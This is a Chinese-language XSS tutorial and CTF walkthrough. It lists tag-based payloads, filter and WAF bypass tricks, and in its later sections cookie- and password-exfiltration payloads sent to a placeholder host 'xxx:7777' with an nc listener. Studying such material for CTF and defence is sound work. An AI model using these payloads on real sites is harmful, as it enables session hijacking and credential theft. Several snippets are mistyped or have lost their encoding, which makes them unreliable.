前言
之前在XSS方面只有很浅的了解,再次学习过后,这里对其部分知识进行总结,同时用例题来讲解,希望能对在学习XSS的师傅有所帮助
什么是XSS
XSS,全拼Cross Site Scripting
,中文含义是跨站脚本攻击
,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS
原理
恶意攻击者在网站中插入恶意script代码,当web用户访问此网站时,恶意script代码被触发,就达到了攻击用户的目的,获取了用户的部分信息
危害
1、窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
2、窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
3、网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
4、发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
分类
反射型XSS
反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
存储型XSS
存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
DOM型
不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。(属于是反射型的特殊情况)
可能触发类型
document.referer
window.name
location
innerHTML
documen.write
攻击常用标签
script标签
1、<script>alert(1)</alert>//弹出1
2、<script>alert("xss")</alert>//弹出xss
3、<script>alert(/xss/)</alert>//弹出xss
img标签
<img src=javascript:alert(1)>
//调用js代码弹1
<img src=1 οnerrοr=alert(1)>
//访问1这个地址对应的图片,如果错误就执行onerror里的代码,因为1不是一个链接,故会执行后面的语句,从而弹出1
<img src=1 onmouseover="alert(1)">
//鼠标指针移动到元素时触发弹出1
a标签
<a href=javascript:alert('xss')>quan9i</a>
//点击quan9i这个链接触发js,弹出xss
<a href="" onclick=alert('xss')>a</a>
//原理同上
input标签
<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus>
//使得焦点自动到元素上,自动触发代码,弹出xss
body标签
<body οnlοad=alert(1)>
svg标签
<svg onload=alert(1)>
iframe标签
<iframe onload=alert("xss");></iframe>
//onload:当页面加载完毕时执行代码,在这里也就是弹出xss
常用绕过姿势
双写及大小写绕过
在遇到直接把script
替换为空的过滤方式时,可以采用双写方式,构造script,举个栗子<scrscriptipt>
,此时按照过滤方式,中间的script被替换为空,那此时剩下的部分就是<script>
,也就成功绕过了。
测试代码
<?php
function filter($payload){
$data=str_replace("script","",$payload);
return $data;
}
$name=filter($_GET["name"]);
echo "hello $name";
?>
正常情况
<script>alert(/quan9i/)</script>
双写绕过时
name=<scrscriptipt>alert(/quan9i/)</scrscriptipt>
可以发现成功绕过了,错误的过滤方式甚至可以帮助我们绕过GOOgle浏览器的XSS过滤器
遇到没有考虑大小写时,可以通过大小写的变化来进行绕过,比如<SCriPT>
测试代码
<?php
function filter($payload){
if(preg_match('/script/', $payload)){
return "hacker!!!";
}
return $payload;
}
$name=filter($_GET["name"]);
echo "you are $name";
?>
正常情况
name=<script>alert('quan9i')</script>
结果如下
大小写绕过时
name=<SCRipt>alert('quan9i')</SCRipt>
结果如下
实体编码绕过(输出在标签属性中)
如果<
和>
被过滤,我们无法引入新标签,此时可以引入标签的事件,例如onload
这些,而如果存在内容过滤,例如这种
$str2=str_replace("alert(1)","ale_rt(1)",$str);
此时我们就可以用HTML编码来绕过检测
得到
alert(1)
这时候放入我们的事件中即可,比如是img标签,我们就可以引入一个onerror事件
<img src=1 oneerror="alert(1)"/>
此时就可以触发弹窗,能触发与浏览器渲染页面的顺序有关。我们的payload在标签属性中,在触发事件前,浏览器已经对其进行了一次解码,也就把alert(1)
变成了alert(1)
闭合语句绕过
当遇到无法构造<
和>
被过滤时,我们可以闭合JavaScript语句,使得攻击语句逃逸,示例代码如下
<input name="xianzhi" value="'.$payload.'" type="hidden">
此时的payload是可控的,我们构造payload为" onclick=alert(1) type="text"//
,此时在源代码中就是
<input name="xianzhi" value="" onclick=alert(1) type="text"//" type="hidden">
此时后面相当于注释,不再看,而//
则同时发挥了闭合的作用。使得成功弹窗
但有经验的程序员往往会想到这点,从而直接将'
进行转义,进而防御xss,但在部分情况下仍然存在注入。例如SQL中的双输入情况
select * from users where name = '输入1' and pass = '输入2';
我们此时在输入1中输入\
,在输入2中输入union select xxxxxx#
,就成功进行了攻击,此时语句为
select * from users where name = '\' and pass = 'union select xxxxxx#';
\将第二个'
转义,导致第一个单引号与第三个单引号闭合,此时我们攻击语句构造完成后,在最后加上#,#把后面单引号注释,就成功实现了攻击语句逃逸。
在XSS中也同样存在这种情况,示例代码
<?php
$name=$_GET['name'];
$name=htmlentities($name,ENT_QUOTES);
$address=$_GET['addr'];
$address=htmlentities($address,ENT_QUOTES);
?>
<!DOCTYPE HTML>
<html>
<head>
<meata charset="gb18030">
<title>xianzhi</title>
</head>
<body>
<script type="text/javascript">
var url='http://xz.com/?name<?=$name?>'+'<?=$address?>';
</script>
</body>
</html>
输入点有两个,分别是name
和addr
,输出点也是这两个,这里如果输入单引号的话,因为有htmlentities函数
,所以会转换为实体编码,此时我们看这个语句
var url='http://xz.com/?name<?=$name?>'+'<?=$address?>';
这个name
变量后面是单引号
,如果我们给它转义了,第一个就会与第三个闭合,我们再用//
进行注释,就可以实现攻击语句逃逸,构造payload如下
name=xianzhi\&addr=;alert(/xianzhi/);//
执行结果
绕过空格
在做题时,可能会遇到一种情况就是将空格替换为空,此时我们的办法就是找代替空格的,在XSS常见绕过空格的方法
%0a
/**/
绕WAF
开启XX狗后,普通的XSS是无法实现绕过的这里的思路呢,就是利用不常用的标签和新的HTML5新标签来进行绕过,经过测试,将可用绕过的姿势总结如下
姿势
iframe标签
<iframe onload="alert(document.cookie)"></iframe>
audio标签
<audio src=1 onerror=alert(1)>
video标签
<video src=x onerror=alert(48)>
svg标签
button标签
<button onfocus=alert(1)>
<button onclick=alert(1)>
object标签
这个方法需要借助data伪协议来配合使用
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgncXVhbjlpJyk8L3NjcmlwdD4="></object>
//内容经base64解密后为<script>alert('quan9i')</script>
div标签
这个需要借助url编码来实现绕过
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
实战
双写及大小写绕过
0X01
尝试<script>alert(1)</script>
发现直接将script给过滤了,这里的思路想到可能是双写绕过,因为这种直接过滤的一般都是把script替换为空。
查看一下源码
我们发现这里不仅过滤了script,我们这里可以换标签,再利用双写实现攻击语句逃逸,这时候我们用"/>
闭合标签,自己再构造一个恶意的超链接即可,构造payload如下
"/><a hrhrefef=javascrscriptipt:alert(1)>1</a>
//经测试href被过滤,所以这里也需要双写
执行结果如下
0X02
输入<script>alert(1)</script>
查看源代码
这里发现过滤了script,看起来与0x01那个题很像,我们此时尝试上关的payload
"/><a hrhrefef=javascrscriptipt:alert(1)>1</a>
没有成功,此时查看源代码
<h2 align=center>没有找到和"/><a href=javascript:alert(1)>1</a>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value=""/><a hr_ef=javascript:alert(1)>1</a>">
<input type=submit name=submit value=搜索 />
这里的话可以发现href被过滤了,可能还有其他方法?但经过尝试,暂未找到其他方法,这里的话考虑的就是大小写绕过了,其他好像也没啥方法了,双写绕过没戏,因此尝试一下大小写绕过
"/><a hRef=javasCript:alert(1)>1</a>
实体编码绕过
查看源码
发现我们填的是在超链接中的,此时会跳转到对应界面,如果我们利用JavaScript来执行xss语句,是不是也能执行出来呢,此时我们进行测试。
输入javascript:alert(1)
进行测试
查看源代码
<a href="您的链接不合法?有没有!">友情链接</a>
提示链接不合法,想着正常的链接一般是http://
这种,我们随便输入一个尝试一下看是否正常
http://quan9i.top
点击后确实跳转了
说明和我们想的一样,这里需要有http://
,可是放前面的话JavaScript是无法触发的,那此时的思路就是放后面然后进行注释
javascript:alert(1)//http://
但是此时点击链接仍未出现弹窗,查看源代码
<a href="javascr_ipt:alert(1)//http://">友情链接</a>
script被过滤,因此我们这里对script进行HTML实体编码,构造payload如下
javascript:alert(1)//http://
闭合语句绕过
0X01
进入界面后,发现没有按钮和搜素框,有点怪,看到参数有个keyword,先简单试一下xss
keyword=<script>alert(1)</script>
查看源代码
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
可以看到我们keyword输入的内容被进行了HTML实体编码,所以基本没戏,同时发现三个隐藏的参数,对这三个参数进行赋值,看哪个会有回显
keyword=1&t_link=test&t_history=test&t_sort=test
查看源码
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和1相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="test" type="hidden">
</form>
</center><center><img src=level10.png></center>
发现t_sort
参数是有回显的,不过呢,这个由于type是隐藏的,所以在界面上是无回显的,因此我们这里修改type为text
或者button
都是可以的,下图中的值都是可以的
那想要构造的话,首先需要把value这个给闭合了,所以payload首先需要一个"
,而后构造onclick事件,点击触发xss即可,思路有了,构造payload也就好办了,构造payload如下
keyword=1&t_sort="type="checkbox" onclick=alert(1)//
此时语句就是
<input name="t_sort" value=""type="checkbox" onclick=alert(1)//" type="hidden">
也就是<input name="t_sort" value=""type="checkbox" onclick=alert(1)//
0X02
没有搜索框,只有一个参数
此时我们随便输入个<script>
然后查看源代码
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和<script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="test" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
keyword内容被转换为HTML实体,G,看下面,变成了四个隐藏参数,同上关,测试看哪个有回显
keyword=<script>&t_link=test&t_history=test&t_sort=test&t_ref=test
t_sort
有回显,确定注入参数,尝试上关方法
keyword=1&t_sort="type="checkbox" onclick=alert(1)//
没有出现框,查看源代码
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""type="checkbox" onclick=alert(1)//" type="hidden">
<input name="t_ref" value="" type="hidden">
发现双引号被转换为HTML实体,这个也没戏,这个也G,此时我查看过其他师傅的wp后,得知这里的t_ref
参数是用Referer传值的,没有解释具体的原因,博主也只是小白,这个思路非要理的话也只能说是从ref这个想,或者抓包看有没有Referer头,Referer是告诉服务器你是从哪里来的,比如你在google中点击baidu.com这个链接,Referer头就是https://google.com
,这里我们先进行测试一下,传个Referer值
看源代码
因此找到新的注入点,我们构造语句来闭合value,同之前相似,构造payload如下
" type="password" onclick=alert(1)//
空格绕过
题目
圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!
经过测试script
被过滤
此时我们用iframe标签来进行攻击
<iframe onload=alert(1);></iframe>
发现弹不出来,这里有空格,所以首先考虑一下是否空格被ban,我们这里用/**/
来代替空格
<iframe/**/onload=alert(1);></iframe>
<iframe/**/onload=alert(document.cookie);></iframe>
确实可以。
flag藏于cookie中,我们需要想办法获取管理员的cookie,肯定不能<iframe/**/onload=alert(document.cookie);></iframe>
,因为这样的话得到的是自己的cookie,需要的是管理员的cookie,这时候有个方法就是我们利用我们的vps,用nc端口监听,然后直接我们在搜索框中添加一个js跳转链接加上获取cookie的代码,这时候管理员就会访问我们的ip地址,我们也就拿到了管理员cookie,也就得到了flag,思路有了,那payload构造也并非难事
先在vps开启监听
nc -lvnp 7777
//虽然只能接收一次,但我们可以nc多次
payload有以下几种
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg/**/onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input/**/onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
此时就得到了管理员cookie,解题完成
DOM型实战
0X01
发现有注册的,先随便注册一下,然后登录
只有管理员可以查看,这里的话我们的思路就是获取当前管理员的cookie,但是要从哪里着手呢,此时查看用户名和密码的源代码
可以发现这两个都是不存在单引号或者双引号包裹的,因此我们可以直接插入一段js代码,借助vps调出管理员的cookie,而后修改我们的cookie为管理员的cookie,此时我们的身份就变成了管理员的,因此我们这里去再注册一个,账号注册如下
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
<script>window.location.href='http://xxx:7777/'+document.cookie;</script>
密码随便写(当然,账号随便写,密码写成这个也可以)
在你的vps开启监听端口
nc -lvnp 7777
登录后点击用户管理,此时再看vps
得到管理员cookieruenb618p3e7tg5a6gtumcs89b
修改cookie值,刷新界面
得到flagctfshow{d5cdea15-ce33-4df2-b9f0-13aab7b94fa1}
0X02
直接利用vps获取cookie,但是此时cookie一直是无效的,可能是管理员访问后立马登出,导致了cookie失效,我们这里获取的话可以去获取它的用户名和密码界面
可以看见这个密码的话是在layui-table-cell laytable-cell-1-0-1
类中的,因此我们需要用getElementsByClassName
来获取,getElementsByClassName
的作用是获取所有指定类名的元素
在控制台中document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')
可以发现
密码在innerHTML中,此时再试着将这个输出
这时候就得到了密码,那我们此时利用这个即可构造得到flag的语句,如下
<script>window.open('http://xxx:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
0X03
发现此时多了一个修改密码的界面,我们在修改密码界面打开控制台
在这里可以看见layui-container
类包含了整个界面,因此类就确定为layui-container
,此时我们用querySelector
方法,querySelector()
方法返回文档中匹配指定 CSS 选择器的一个元素。,在这里的话我们就将这个界面的文本进行输出,因此构造payload如下即可
<script>window.open('http://xxx:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>
参考文献
《从0到1:CTFer成长之路》
https://www.cnblogs.com/hookjoy/p/3538487.html
https://blog.csdn.net/LYJ20010728/article/details/116462782
https://wizardforcel.gitbooks.io/xss-naxienian/content/2.html
https://blog.csdn.net/qq_42383069/article/details/123419621
https://www.cnblogs.com/csnd/p/11807592.html
https://www.freebuf.com/articles/web/334662.html
https://www.freebuf.com/articles/web/276998.html
https://www.cnblogs.com/sfsec/p/15178028.html